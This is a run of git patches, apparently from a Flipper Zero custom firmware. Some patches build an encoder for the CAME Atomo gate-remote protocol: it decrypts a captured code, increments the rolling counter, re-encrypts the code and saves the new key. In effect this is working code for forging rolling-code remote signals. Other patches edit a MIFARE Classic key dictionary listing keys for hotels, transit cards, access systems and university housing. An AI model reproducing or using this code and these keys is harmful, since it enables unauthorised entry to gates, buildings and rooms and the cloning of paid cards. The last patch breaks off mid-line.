0xFF), (lo & 0xFF)); for(uint8_t i = instance->generic.data_count_bit; i > 0; i--) { if(!manchester_encoder_advance(&enc_state, !bit_read(invert, i - 1), &result)) { @@ -168,7 +173,7 @@ static void subghz_protocol_encoder_came_atomo_get_upload(SubGhzProtocolEncoderC } //pause instance->encoder.upload[index++] = - level_duration_make(false, (uint32_t)subghz_protocol_came_atomo_const.te_short * 113); + level_duration_make(false, (uint32_t)subghz_protocol_came_atomo_const.te_delta * 272); instance->encoder.size_upload = index; } @@ -393,13 +398,17 @@ static void subghz_protocol_came_atomo_remote_controller( instance->data <<= 4; uint32_t hi = instance->data >> 32; uint32_t lo = instance->data & 0xFFFFFFFF; - FURI_LOG_I(TAG, "inverted data: %02X %02X %02X %02X %02X %02X %02X %02X\n", (hi >> 24), ((hi >> 16) & 0xFF), ((hi >> 8) & 0xFF), (hi & 0xFF), - (lo >> 24), ((lo >> 16) & 0xFF), ((lo >> 8) & 0xFF), (lo & 0xFF)); + FURI_LOG_I(TAG, "inverted data: %02X %02X %02X %02X %02X %02X %02X %02X\n", + (hi >> 24), ((hi >> 16) & 0xFF), ((hi >> 8) & 0xFF), (hi & 0xFF), + (lo >> 24), ((lo >> 16) & 0xFF), ((lo >> 8) & 0xFF), (lo & 0xFF)); uint8_t pack[8] = {}; - pack[0] = (instance->data >> 56); pack[1] = ((instance->data >> 48) & 0xFF); pack[2] = ((instance->data >> 40) & 0xFF); pack[3] = ((instance->data >> 32) & 0xFF); - pack[4] = ((instance->data >> 24) & 0xFF); pack[5] = ((instance->data >> 16) & 0xFF); pack[6] = ((instance->data >> 8) & 0xFF); pack[7] = (instance->data & 0xFF); + pack[0] = (instance->data >> 56); pack[1] = ((instance->data >> 48) & 0xFF); + pack[2] = ((instance->data >> 40) & 0xFF); pack[3] = ((instance->data >> 32) & 0xFF); + pack[4] = ((instance->data >> 24) & 0xFF); pack[5] = ((instance->data >> 16) & 0xFF); + pack[6] = ((instance->data >> 8) & 0xFF); pack[7] = (instance->data & 0xFF); atomo_decrypt(pack); - FURI_LOG_I(TAG, "decrypted data: %02X %02X %02X %02X %02X %02X %02X %02X\n", pack[0], pack[1], pack[2], pack[3], pack[4], pack[5], pack[6], pack[7]); + FURI_LOG_I(TAG, "decrypted data: %02X %02X %02X %02X %02X %02X %02X %02X\n", + pack[0], pack[1], pack[2], pack[3], pack[4], pack[5], pack[6], pack[7]); instance->cnt_2 = pack[0]; instance->cnt = (uint16_t)pack[1] << 8 | pack[2]; instance->serial = (uint32_t)(pack[3]) << 24 | pack[4] << 16 | pack[5] << 8 | pack[6]; From bdd053ab2b1a269497d6232f6c16c837be66ffa1 Mon Sep 17 00:00:00 2001 From: Eng1n33r Date: Tue, 7 Jun 2022 20:29:43 +0300 Subject: [PATCH 291/461] mf classic dict deduplicated & manifest updated --- assets/resources/Manifest | 4 +- .../resources/nfc/assets/mf_classic_dict.nfc | 53 ------------------- 2 files changed, 2 insertions(+), 55 deletions(-) diff --git a/assets/resources/Manifest b/assets/resources/Manifest index 6d2cb4302..537b3b2de 100644 --- a/assets/resources/Manifest +++ b/assets/resources/Manifest @@ -1,5 +1,5 @@ V:0 -T:1654516779 +T:1654622934 D:badusb D:dolphin D:infrared @@ -229,7 +229,7 @@ D:nfc/assets F:81dc04c7b181f94b644079a71476dff4:4742:nfc/assets/aid.nfc F:86efbebdf41bb6bf15cc51ef88f069d5:2565:nfc/assets/country_code.nfc F:41b4f08774249014cb8d3dffa5f5c07d:1757:nfc/assets/currency_code.nfc -F:18d6ceceaa8d86931a631103152f121d:50397:nfc/assets/mf_classic_dict.nfc +F:735054920e2137cc69e322d0b7719830:50421:nfc/assets/mf_classic_dict.nfc D:subghz/assets F:dda1ef895b8a25fde57c874feaaef997:650:subghz/assets/came_atomo F:610a0ffa2479a874f2060eb2348104c5:2712:subghz/assets/keeloq_mfcodes diff --git a/assets/resources/nfc/assets/mf_classic_dict.nfc b/assets/resources/nfc/assets/mf_classic_dict.nfc index 7ac465ac2..e3ac205de 100644 --- a/assets/resources/nfc/assets/mf_classic_dict.nfc +++ b/assets/resources/nfc/assets/mf_classic_dict.nfc @@ -1,8 +1,5 @@ # ----------------------------- -# File composed by UberGuidoZ -# https://github.com/UberGuidoZ # Last update June 7, 2022 -# ----------------------------- # MIFARE DEFAULT KEYS # -- ICEMAN FORK VERSION -- # -- CONTRIBUTE TO THIS LIST, SHARING IS CARING -- @@ -141,7 +138,6 @@ F4A9EF2AFC6D # S6 B FB0B20DF1F34 A9F953DEF0A3 -# DATA FROM FORUM 74A386AD0A6D 3F7A5C2DBD81 21EDF95E7433 @@ -1284,7 +1280,6 @@ AE76242931F1 124578ABFEDC ABFEDC124578 4578ABFEDC12 -# DATA FROM # PREMIER INN HOTEL CHAIN 5E594208EF02 AF9E38D36582 @@ -1420,9 +1415,6 @@ F750C0095199 # KEYS FROM RFIDRESEARCHGROUP PROXMARK3 PROJECT # HTTPS://GITHUB.COM/RFIDRESEARCHGROUP/PROXMARK3/BLOB/MASTER/CLIENT/DICTIONARIES/MFC_DEFAULT_KEYS.DIC 135B88A94B8B -C1E51C63B8F5 -18F34C92A56E -74A386AD0A6D 13B91C226E56 5A7A52D5E20D # IRON LOGIC @@ -1444,53 +1436,8 @@ DEC0CEB0CE24 D6261A9A4B3F CB9D507CE56D # MORE KEYS FROM THE PM3 REPO -DC018FC1D126 -C428C4550A75 -0C4233587119 -540D5E6355CC -35C649004000 -6307417353C1 -35D152154017 -D1417E431949 -D973D917A4C7 -730956C72BC2 -F678905568C3 -43E69C28F08C -0F35D5660653 -F7FA2F629BB1 -E2F14D0A0E28 -9C616585E26D -4927C97F1D57 -155332417E00 -00460740D722 -2E71D3BD262A -4F75030AD12B -D75971531042 -1170553E4304 -0E620691B9FE -10510049D725 -94B6A644DFF6 -130662240200 -05F5EC05133C -28D70900734C -C151D998C669 -9386E2A48280 -046154274C11 -E7316853E731 -735175696421 -5D0762D13401 -2803BCB0C7E1 -424C0FFBF657 -AF9E38D36582 -50240A68D1D8 -6B13935CD550 -521B517352C7 -5E594208EF02 -A7765C952DDF -2CA4A4D68B8E # KEYS OF ARMENIAN UNDERGROUND TICKET A0A1A2A8A4A5 -# # https://github.com/RfidResearchGroup/proxmark3/blob/master/client/dictionaries/mfc_keys_bmp_sorted.dic 002DE0301481 004173272D18 From 3058bb609877d876cc75cffcd98515cd52a9410c Mon Sep 17 00:00:00 2001 From: Eng1n33r Date: Tue, 7 Jun 2022 20:37:59 +0300 Subject: [PATCH 292/461] fixed mf classic dict --- assets/resources/Manifest | 4 ++-- .../resources/nfc/assets/mf_classic_dict.nfc | 24 +++++++------------ 2 files changed, 11 insertions(+), 17 deletions(-) diff --git a/assets/resources/Manifest b/assets/resources/Manifest index 537b3b2de..8012cb5ec 100644 --- a/assets/resources/Manifest +++ b/assets/resources/Manifest @@ -1,5 +1,5 @@ V:0 -T:1654622934 +T:1654623438 D:badusb D:dolphin D:infrared @@ -229,7 +229,7 @@ D:nfc/assets F:81dc04c7b181f94b644079a71476dff4:4742:nfc/assets/aid.nfc F:86efbebdf41bb6bf15cc51ef88f069d5:2565:nfc/assets/country_code.nfc F:41b4f08774249014cb8d3dffa5f5c07d:1757:nfc/assets/currency_code.nfc -F:735054920e2137cc69e322d0b7719830:50421:nfc/assets/mf_classic_dict.nfc +F:f93a61a86c0a375dcc4072b3c9dc3bc1:50263:nfc/assets/mf_classic_dict.nfc D:subghz/assets F:dda1ef895b8a25fde57c874feaaef997:650:subghz/assets/came_atomo F:610a0ffa2479a874f2060eb2348104c5:2712:subghz/assets/keeloq_mfcodes diff --git a/assets/resources/nfc/assets/mf_classic_dict.nfc b/assets/resources/nfc/assets/mf_classic_dict.nfc index e3ac205de..eb198fb06 100644 --- a/assets/resources/nfc/assets/mf_classic_dict.nfc +++ b/assets/resources/nfc/assets/mf_classic_dict.nfc @@ -61,8 +61,8 @@ F1D83F964314 47524F555042 434F4D4D4F41 434F4D4D4F42 -# -4B0B20107CCB# TNP3XXX +4B0B20107CCB +# TNP3XXX # ACCESS CONTROL SYSTEM 605F5E5D5C5B # MORE KEYS FROM MFC_DEFAULT_KEYS.LUA @@ -183,7 +183,7 @@ E3429281EFC1 16F21A82EC84 460722122510 # 3DPRINTER -# EPI ENVISIONTE# 3DPRINTER +# EPI ENVISIONTE 3DPRINTER AAFB06045877 # GYM # FYSIKEN A @@ -611,7 +611,6 @@ AD4FB33388BF 2A2C13CC242A 27FBC86A00D0 01FA3FC68349 -13B91C226E56# HOTEL 6D44B5AAF464 1717E34A7A8A # RFIDEAS @@ -622,8 +621,8 @@ AD4FB33388BF # HID MIFARE SO 3B7E4FD575AD 11496F97752A - LUXEO/AZTEK CASHLESS VENDING -415A54454B4D# +# LUXEO/AZTEK CASHLESS VENDING +415A54454B4D # BQT 321958042333 # APERIO KEY_A SECTOR 1, 12, 13, 14, 15 DATA START 0 LENGTH 48 @@ -696,7 +695,7 @@ C01FC822C6E5 # MORE KEYS: 8A19D40CF2B5 AE8587108640 -135B88A94B8B# SAFLOCK STANDALONE DOOR LOCKS. +135B88A94B8B # RUSSIAN TROIKA CARD 08B386463229 0E8F64340BA4 @@ -1071,7 +1070,7 @@ FE04ECFE5577 4D48414C5648 # UNKNOWN HOTEL KEY 6D9B485A4845 -5A7A52D5E20D# BOSCH SOLUTION 6000 +# BOSCH SOLUTION 6000 # FOUND IN TAGINFO APP # RATB KEY C1E51C63B8F5 @@ -1283,7 +1282,7 @@ ABFEDC124578 # PREMIER INN HOTEL CHAIN 5E594208EF02 AF9E38D36582 -#NORWEGIAN BUILDING SITE IDENTICATION CARD. (HMS KORT) +# NORWEGIAN BUILDING SITE IDENTICATION CARD. (HMS KORT) 10DF4D1859C8 # KEY B B5244E79B0C8 @@ -1337,7 +1336,7 @@ FED791829013 29A791829013 668091829013 00008627C10A -#KEYS FROM NSP MANCHESTER UNIVERSITY UK ACCOMODATION STAFF AND STUDENTS +# KEYS FROM NSP MANCHESTER UNIVERSITY UK ACCOMODATION STAFF AND STUDENTS 199404281970 199404281998 # EASYCARD @@ -1347,10 +1346,6 @@ FED791829013 562E6EF73DB6 F53E9F4114A9 AD38C17DE7D2 -############ -# HTTPS://GITHUB.COM/ICEMAN1001/PROXMARK -4B0B20107CCB -415A54454B4D # SOME KEYS OF HTTPS://W3BSIT3-DNS.COM AND HTTPS://IKEY.RU # STRELKA EXTENSION 5C83859F2224 @@ -1414,7 +1409,6 @@ F750C0095199 93EB64ACF43D # KEYS FROM RFIDRESEARCHGROUP PROXMARK3 PROJECT # HTTPS://GITHUB.COM/RFIDRESEARCHGROUP/PROXMARK3/BLOB/MASTER/CLIENT/DICTIONARIES/MFC_DEFAULT_KEYS.DIC -135B88A94B8B 13B91C226E56 5A7A52D5E20D # IRON LOGIC From c2e9daca265fd50560db51a04769ede71be27e7e Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Tue, 7 Jun 2022 20:50:15 +0300 Subject: [PATCH 293/461] Update Manifest --- assets/resources/Manifest | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/assets/resources/Manifest b/assets/resources/Manifest index 6d2cb4302..1f22cbdd5 100644 --- a/assets/resources/Manifest +++ b/assets/resources/Manifest @@ -1,5 +1,5 @@ V:0 -T:1654516779 +T:1654623273 D:badusb D:dolphin D:infrared @@ -229,7 +229,7 @@ D:nfc/assets F:81dc04c7b181f94b644079a71476dff4:4742:nfc/assets/aid.nfc F:86efbebdf41bb6bf15cc51ef88f069d5:2565:nfc/assets/country_code.nfc F:41b4f08774249014cb8d3dffa5f5c07d:1757:nfc/assets/currency_code.nfc -F:18d6ceceaa8d86931a631103152f121d:50397:nfc/assets/mf_classic_dict.nfc +F:5c803988375ca4b9cfa1d53c435b6ca7:51159:nfc/assets/mf_classic_dict.nfc D:subghz/assets F:dda1ef895b8a25fde57c874feaaef997:650:subghz/assets/came_atomo F:610a0ffa2479a874f2060eb2348104c5:2712:subghz/assets/keeloq_mfcodes From aec182c7e2ba4e49f4210ff10a093ccfc5cd0e55 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Tue, 7 Jun 2022 22:52:27 +0300 Subject: [PATCH 294/461] Update Manifest --- assets/resources/Manifest | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/assets/resources/Manifest b/assets/resources/Manifest index 1f22cbdd5..698ec2233 100644 --- a/assets/resources/Manifest +++ b/assets/resources/Manifest @@ -1,5 +1,5 @@ V:0 -T:1654623273 +T:1654631199 D:badusb D:dolphin D:infrared @@ -229,7 +229,7 @@ D:nfc/assets F:81dc04c7b181f94b644079a71476dff4:4742:nfc/assets/aid.nfc F:86efbebdf41bb6bf15cc51ef88f069d5:2565:nfc/assets/country_code.nfc F:41b4f08774249014cb8d3dffa5f5c07d:1757:nfc/assets/currency_code.nfc -F:5c803988375ca4b9cfa1d53c435b6ca7:51159:nfc/assets/mf_classic_dict.nfc +F:f93a61a86c0a375dcc4072b3c9dc3bc1:50263:nfc/assets/mf_classic_dict.nfc D:subghz/assets F:dda1ef895b8a25fde57c874feaaef997:650:subghz/assets/came_atomo F:610a0ffa2479a874f2060eb2348104c5:2712:subghz/assets/keeloq_mfcodes From 1fbe15c1ce840a2934318dc97132f41e34f9f402 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Tue, 7 Jun 2022 22:54:11 +0300 Subject: [PATCH 295/461] Update came_atomo.c --- lib/subghz/protocols/came_atomo.c | 3 +++ 1 file changed, 3 insertions(+) diff --git a/lib/subghz/protocols/came_atomo.c b/lib/subghz/protocols/came_atomo.c index bc5bf22f6..5d37a2c5a 100644 --- a/lib/subghz/protocols/came_atomo.c +++ b/lib/subghz/protocols/came_atomo.c @@ -157,6 +157,9 @@ static void subghz_protocol_encoder_came_atomo_get_upload(SubGhzProtocolEncoderC (hi >> 24), ((hi >> 16) & 0xFF), ((hi >> 8) & 0xFF), (hi & 0xFF), (lo >> 24), ((lo >> 16) & 0xFF), ((lo >> 8) & 0xFF), (lo & 0xFF)); + instance->encoder.upload[index++] = + level_duration_make(false, (uint32_t)subghz_protocol_came_atomo_const.te_delta); + for(uint8_t i = instance->generic.data_count_bit; i > 0; i--) { if(!manchester_encoder_advance(&enc_state, !bit_read(invert, i - 1), &result)) { instance->encoder.upload[index++] = From 02f7d046a9b4c25a889e660b8563fb9895a4c761 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Tue, 7 Jun 2022 23:00:23 +0300 Subject: [PATCH 296/461] Update came_atomo.c --- lib/subghz/protocols/came_atomo.c | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/lib/subghz/protocols/came_atomo.c b/lib/subghz/protocols/came_atomo.c index 5d37a2c5a..c90ebcc9b 100644 --- a/lib/subghz/protocols/came_atomo.c +++ b/lib/subghz/protocols/came_atomo.c @@ -157,8 +157,11 @@ static void subghz_protocol_encoder_came_atomo_get_upload(SubGhzProtocolEncoderC (hi >> 24), ((hi >> 16) & 0xFF), ((hi >> 8) & 0xFF), (hi & 0xFF), (lo >> 24), ((lo >> 16) & 0xFF), ((lo >> 8) & 0xFF), (lo & 0xFF)); + //Send header instance->encoder.upload[index++] = - level_duration_make(false, (uint32_t)subghz_protocol_came_atomo_const.te_delta); + level_duration_make(true, (uint32_t)subghz_protocol_came_atomo_const.te_long * 15); + instance->encoder.upload[index++] = + level_duration_make(false, (uint32_t)subghz_protocol_came_atomo_const.te_long * 60); for(uint8_t i = instance->generic.data_count_bit; i > 0; i--) { if(!manchester_encoder_advance(&enc_state, !bit_read(invert, i - 1), &result)) { @@ -174,7 +177,7 @@ static void subghz_protocol_encoder_came_atomo_get_upload(SubGhzProtocolEncoderC if(level_duration_get_level(instance->encoder.upload[index])) { index++; } - //pause + //Send pause instance->encoder.upload[index++] = level_duration_make(false, (uint32_t)subghz_protocol_came_atomo_const.te_delta * 272); From 6e27b0cecb1f4231d11385a5b99045e3b7a43449 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Tue, 7 Jun 2022 23:12:49 +0300 Subject: [PATCH 297/461] Update came_atomo.c revert header, need to put out of loop --- lib/subghz/protocols/came_atomo.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/lib/subghz/protocols/came_atomo.c b/lib/subghz/protocols/came_atomo.c index c90ebcc9b..1081749d8 100644 --- a/lib/subghz/protocols/came_atomo.c +++ b/lib/subghz/protocols/came_atomo.c @@ -158,10 +158,10 @@ static void subghz_protocol_encoder_came_atomo_get_upload(SubGhzProtocolEncoderC (lo >> 24), ((lo >> 16) & 0xFF), ((lo >> 8) & 0xFF), (lo & 0xFF)); //Send header - instance->encoder.upload[index++] = - level_duration_make(true, (uint32_t)subghz_protocol_came_atomo_const.te_long * 15); - instance->encoder.upload[index++] = - level_duration_make(false, (uint32_t)subghz_protocol_came_atomo_const.te_long * 60); + //instance->encoder.upload[index++] = + //level_duration_make(true, (uint32_t)subghz_protocol_came_atomo_const.te_long * 15); + //instance->encoder.upload[index++] = + //level_duration_make(false, (uint32_t)subghz_protocol_came_atomo_const.te_long * 60); for(uint8_t i = instance->generic.data_count_bit; i > 0; i--) { if(!manchester_encoder_advance(&enc_state, !bit_read(invert, i - 1), &result)) { From 6cb484375df6c153329ac5b5f0045d0310a061e5 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Wed, 8 Jun 2022 00:14:19 +0300 Subject: [PATCH 298/461] Update came_atomo.c fix DMA delta impulse --- lib/subghz/protocols/came_atomo.c | 2 ++ 1 file changed, 2 insertions(+) diff --git a/lib/subghz/protocols/came_atomo.c b/lib/subghz/protocols/came_atomo.c index 1081749d8..b1e93d3b2 100644 --- a/lib/subghz/protocols/came_atomo.c +++ b/lib/subghz/protocols/came_atomo.c @@ -162,6 +162,8 @@ static void subghz_protocol_encoder_came_atomo_get_upload(SubGhzProtocolEncoderC //level_duration_make(true, (uint32_t)subghz_protocol_came_atomo_const.te_long * 15); //instance->encoder.upload[index++] = //level_duration_make(false, (uint32_t)subghz_protocol_came_atomo_const.te_long * 60); + + instance->encoder.upload[index++] = level_duration_make(true, 1); for(uint8_t i = instance->generic.data_count_bit; i > 0; i--) { if(!manchester_encoder_advance(&enc_state, !bit_read(invert, i - 1), &result)) { From 9a1563470545a78f9444c4deb43497eb990dc420 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Wed, 8 Jun 2022 18:52:37 +0300 Subject: [PATCH 299/461] Update came_atomo.c working parcel counter ++ --- lib/subghz/protocols/came_atomo.c | 53 +++++++++++++++++++++---------- 1 file changed, 37 insertions(+), 16 deletions(-) diff --git a/lib/subghz/protocols/came_atomo.c b/lib/subghz/protocols/came_atomo.c index b1e93d3b2..35f88f1ac 100644 --- a/lib/subghz/protocols/came_atomo.c +++ b/lib/subghz/protocols/came_atomo.c @@ -132,27 +132,30 @@ static void subghz_protocol_encoder_came_atomo_get_upload(SubGhzProtocolEncoderC manchester_encoder_reset(&enc_state); ManchesterEncoderResult result; + instance->generic.cnt++; + FURI_LOG_I(TAG, "parcel counter: %4X\n\n", instance->generic.cnt); + uint8_t pack[8] = {}; - pack[0] = (instance->generic.data_2 >> 56); pack[1] = ((instance->generic.data_2 >> 48) & 0xFF); - pack[2] = ((instance->generic.data_2 >> 40) & 0xFF); pack[3] = ((instance->generic.data_2 >> 32) & 0xFF); + pack[0] = (instance->generic.data_2 >> 56); pack[1] = (instance->generic.cnt >> 8); + pack[2] = (instance->generic.cnt & 0xFF); pack[3] = ((instance->generic.data_2 >> 32) & 0xFF); pack[4] = ((instance->generic.data_2 >> 24) & 0xFF); pack[5] = ((instance->generic.data_2 >> 16) & 0xFF); pack[6] = ((instance->generic.data_2 >> 8) & 0xFF); pack[7] = (instance->generic.data_2 & 0xFF); - FURI_LOG_I(TAG, "encoder prepared: %02X %02X %02X %02X %02X %02X %02X %02X\n", + FURI_LOG_I(TAG, "encoder prepared: %02X %02X %02X %02X %02X %02X %02X %02X\n\n", pack[0], pack[1], pack[2], pack[3], pack[4], pack[5], pack[6], pack[7]); atomo_encrypt(pack); uint32_t hi = pack[0] << 24 | pack[1] << 16 | pack[2] << 8 | pack[3]; uint32_t lo = pack[4] << 24 | pack[5] << 16 | pack[6] << 8 | pack[7]; instance->generic.data = (uint64_t)hi << 32 | lo; - FURI_LOG_I(TAG, "encrypted data: %02X %02X %02X %02X %02X %02X %02X %02X\n", + FURI_LOG_I(TAG, "encrypted data: %02X %02X %02X %02X %02X %02X %02X %02X\n\n", pack[0], pack[1], pack[2], pack[3], pack[4], pack[5], pack[6], pack[7]); - uint64_t invert = instance->generic.data ^ 0xFFFFFFFFFFFFFFFF; - invert >>= 4; - invert = (uint64_t)0x1 << 60 | invert; - hi = invert >> 32; - lo = invert & 0xFFFFFFFF; + instance->generic.data ^= 0xFFFFFFFFFFFFFFFF; + instance->generic.data >>= 4; + instance->generic.data = (uint64_t)0x1 << 60 | instance->generic.data; + hi = instance->generic.data >> 32; + lo = instance->generic.data & 0xFFFFFFFF; FURI_LOG_I(TAG, "inverted to upload: %02X %02X %02X %02X %02X %02X %02X %02X\n", (hi >> 24), ((hi >> 16) & 0xFF), ((hi >> 8) & 0xFF), (hi & 0xFF), (lo >> 24), ((lo >> 16) & 0xFF), ((lo >> 8) & 0xFF), (lo & 0xFF)); @@ -166,10 +169,10 @@ static void subghz_protocol_encoder_came_atomo_get_upload(SubGhzProtocolEncoderC instance->encoder.upload[index++] = level_duration_make(true, 1); for(uint8_t i = instance->generic.data_count_bit; i > 0; i--) { - if(!manchester_encoder_advance(&enc_state, !bit_read(invert, i - 1), &result)) { + if(!manchester_encoder_advance(&enc_state, !bit_read(instance->generic.data, i - 1), &result)) { instance->encoder.upload[index++] = subghz_protocol_encoder_came_atomo_add_duration_to_upload(result); - manchester_encoder_advance(&enc_state, !bit_read(invert, i - 1), &result); + manchester_encoder_advance(&enc_state, !bit_read(instance->generic.data, i - 1), &result); } instance->encoder.upload[index++] = subghz_protocol_encoder_came_atomo_add_duration_to_upload(result); @@ -202,6 +205,20 @@ bool subghz_protocol_encoder_came_atomo_deserialize(void* context, FlipperFormat subghz_protocol_came_atomo_remote_controller(&instance->generic); subghz_protocol_encoder_came_atomo_get_upload(instance); + + if(!flipper_format_rewind(flipper_format)) { + FURI_LOG_E(TAG, "Rewind error"); + break; + } + uint8_t key_data[sizeof(uint64_t)] = {0}; + for(size_t i = 0; i < sizeof(uint64_t); i++) { + key_data[sizeof(uint64_t) - i - 1] = (instance->generic.data >> i * 8) & 0xFF; + } + if(!flipper_format_update_hex(flipper_format, "Key", key_data, sizeof(uint64_t))) { + FURI_LOG_E(TAG, "Unable to add Key"); + break; + } + instance->encoder.is_runing = true; res = true; @@ -401,12 +418,16 @@ static void subghz_protocol_came_atomo_remote_controller( * 0xEF3 ED0F7D9E F => 0xEF3 - CNT, 0xED0F7D9E - SN, 0xF - key * * */ - - instance->data ^= 0xFFFFFFFFFFFFFFFF; - instance->data <<= 4; uint32_t hi = instance->data >> 32; uint32_t lo = instance->data & 0xFFFFFFFF; - FURI_LOG_I(TAG, "inverted data: %02X %02X %02X %02X %02X %02X %02X %02X\n", + FURI_LOG_I(TAG, "received data: %02X %02X %02X %02X %02X %02X %02X %02X\n\n", + (hi >> 24), ((hi >> 16) & 0xFF), ((hi >> 8) & 0xFF), (hi & 0xFF), + (lo >> 24), ((lo >> 16) & 0xFF), ((lo >> 8) & 0xFF), (lo & 0xFF)); + instance->data ^= 0xFFFFFFFFFFFFFFFF; + instance->data <<= 4; + hi = instance->data >> 32; + lo = instance->data & 0xFFFFFFFF; + FURI_LOG_I(TAG, "inverted data: %02X %02X %02X %02X %02X %02X %02X %02X\n\n", (hi >> 24), ((hi >> 16) & 0xFF), ((hi >> 8) & 0xFF), (hi & 0xFF), (lo >> 24), ((lo >> 16) & 0xFF), ((lo >> 8) & 0xFF), (lo & 0xFF)); uint8_t pack[8] = {}; @@ -415,7 +436,7 @@ static void subghz_protocol_came_atomo_remote_controller( pack[4] = ((instance->data >> 24) & 0xFF); pack[5] = ((instance->data >> 16) & 0xFF); pack[6] = ((instance->data >> 8) & 0xFF); pack[7] = (instance->data & 0xFF); atomo_decrypt(pack); - FURI_LOG_I(TAG, "decrypted data: %02X %02X %02X %02X %02X %02X %02X %02X\n", + FURI_LOG_I(TAG, "decrypted data: %02X %02X %02X %02X %02X %02X %02X %02X\n\n", pack[0], pack[1], pack[2], pack[3], pack[4], pack[5], pack[6], pack[7]); instance->cnt_2 = pack[0]; instance->cnt = (uint16_t)pack[1] << 8 | pack[2]; From 97676e79a8edf4716bb167939a7c8bdaa17c91b8 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Thu, 9 Jun 2022 19:26:48 +0300 Subject: [PATCH 300/461] Update came_atomo.c add header (beta-test) --- lib/subghz/protocols/came_atomo.c | 68 +++++++++++++++---------------- 1 file changed, 34 insertions(+), 34 deletions(-) diff --git a/lib/subghz/protocols/came_atomo.c b/lib/subghz/protocols/came_atomo.c index 35f88f1ac..08aecc5a3 100644 --- a/lib/subghz/protocols/came_atomo.c +++ b/lib/subghz/protocols/came_atomo.c @@ -144,49 +144,49 @@ static void subghz_protocol_encoder_came_atomo_get_upload(SubGhzProtocolEncoderC FURI_LOG_I(TAG, "encoder prepared: %02X %02X %02X %02X %02X %02X %02X %02X\n\n", pack[0], pack[1], pack[2], pack[3], pack[4], pack[5], pack[6], pack[7]); - atomo_encrypt(pack); - uint32_t hi = pack[0] << 24 | pack[1] << 16 | pack[2] << 8 | pack[3]; - uint32_t lo = pack[4] << 24 | pack[5] << 16 | pack[6] << 8 | pack[7]; - instance->generic.data = (uint64_t)hi << 32 | lo; - FURI_LOG_I(TAG, "encrypted data: %02X %02X %02X %02X %02X %02X %02X %02X\n\n", - pack[0], pack[1], pack[2], pack[3], pack[4], pack[5], pack[6], pack[7]); + atomo_encrypt(pack); + uint32_t hi = pack[0] << 24 | pack[1] << 16 | pack[2] << 8 | pack[3]; + uint32_t lo = pack[4] << 24 | pack[5] << 16 | pack[6] << 8 | pack[7]; + instance->generic.data = (uint64_t)hi << 32 | lo; + FURI_LOG_I(TAG, "encrypted data: %02X %02X %02X %02X %02X %02X %02X %02X\n\n", + pack[0], pack[1], pack[2], pack[3], pack[4], pack[5], pack[6], pack[7]); - instance->generic.data ^= 0xFFFFFFFFFFFFFFFF; - instance->generic.data >>= 4; - instance->generic.data = (uint64_t)0x1 << 60 | instance->generic.data; - hi = instance->generic.data >> 32; - lo = instance->generic.data & 0xFFFFFFFF; - FURI_LOG_I(TAG, "inverted to upload: %02X %02X %02X %02X %02X %02X %02X %02X\n", - (hi >> 24), ((hi >> 16) & 0xFF), ((hi >> 8) & 0xFF), (hi & 0xFF), - (lo >> 24), ((lo >> 16) & 0xFF), ((lo >> 8) & 0xFF), (lo & 0xFF)); + instance->generic.data ^= 0xFFFFFFFFFFFFFFFF; + instance->generic.data >>= 4; + instance->generic.data = (uint64_t)0x1 << 60 | instance->generic.data; + hi = instance->generic.data >> 32; + lo = instance->generic.data & 0xFFFFFFFF; + FURI_LOG_I(TAG, "inverted to upload: %02X %02X %02X %02X %02X %02X %02X %02X\n", + (hi >> 24), ((hi >> 16) & 0xFF), ((hi >> 8) & 0xFF), (hi & 0xFF), + (lo >> 24), ((lo >> 16) & 0xFF), ((lo >> 8) & 0xFF), (lo & 0xFF)); - //Send header - //instance->encoder.upload[index++] = - //level_duration_make(true, (uint32_t)subghz_protocol_came_atomo_const.te_long * 15); - //instance->encoder.upload[index++] = - //level_duration_make(false, (uint32_t)subghz_protocol_came_atomo_const.te_long * 60); + //Send header + instance->encoder.upload[index++] = + level_duration_make(true, (uint32_t)subghz_protocol_came_atomo_const.te_long * 15); + instance->encoder.upload[index++] = + level_duration_make(false, (uint32_t)subghz_protocol_came_atomo_const.te_long * 60); - instance->encoder.upload[index++] = level_duration_make(true, 1); + instance->encoder.upload[index++] = level_duration_make(true, 1); - for(uint8_t i = instance->generic.data_count_bit; i > 0; i--) { - if(!manchester_encoder_advance(&enc_state, !bit_read(instance->generic.data, i - 1), &result)) { - instance->encoder.upload[index++] = - subghz_protocol_encoder_came_atomo_add_duration_to_upload(result); - manchester_encoder_advance(&enc_state, !bit_read(instance->generic.data, i - 1), &result); - } + for(uint8_t i = instance->generic.data_count_bit; i > 0; i--) { + if(!manchester_encoder_advance(&enc_state, !bit_read(instance->generic.data, i - 1), &result)) { instance->encoder.upload[index++] = subghz_protocol_encoder_came_atomo_add_duration_to_upload(result); + manchester_encoder_advance(&enc_state, !bit_read(instance->generic.data, i - 1), &result); } - instance->encoder.upload[index] = subghz_protocol_encoder_came_atomo_add_duration_to_upload( - manchester_encoder_finish(&enc_state)); - if(level_duration_get_level(instance->encoder.upload[index])) { - index++; - } - //Send pause instance->encoder.upload[index++] = - level_duration_make(false, (uint32_t)subghz_protocol_came_atomo_const.te_delta * 272); + subghz_protocol_encoder_came_atomo_add_duration_to_upload(result); + } + instance->encoder.upload[index] = subghz_protocol_encoder_came_atomo_add_duration_to_upload( + manchester_encoder_finish(&enc_state)); + if(level_duration_get_level(instance->encoder.upload[index])) { + index++; + } + //Send pause + instance->encoder.upload[index++] = + level_duration_make(false, (uint32_t)subghz_protocol_came_atomo_const.te_delta * 272); - instance->encoder.size_upload = index; +instance->encoder.size_upload = index; } bool subghz_protocol_encoder_came_atomo_deserialize(void* context, FlipperFormat* flipper_format) { From a62f3416af1c9846fcc9f3ac1398269e4671faff Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Thu, 9 Jun 2022 23:29:41 +0300 Subject: [PATCH 301/461] Update came_atomo.c --- lib/subghz/protocols/came_atomo.c | 2 +- 1 file changed, 1 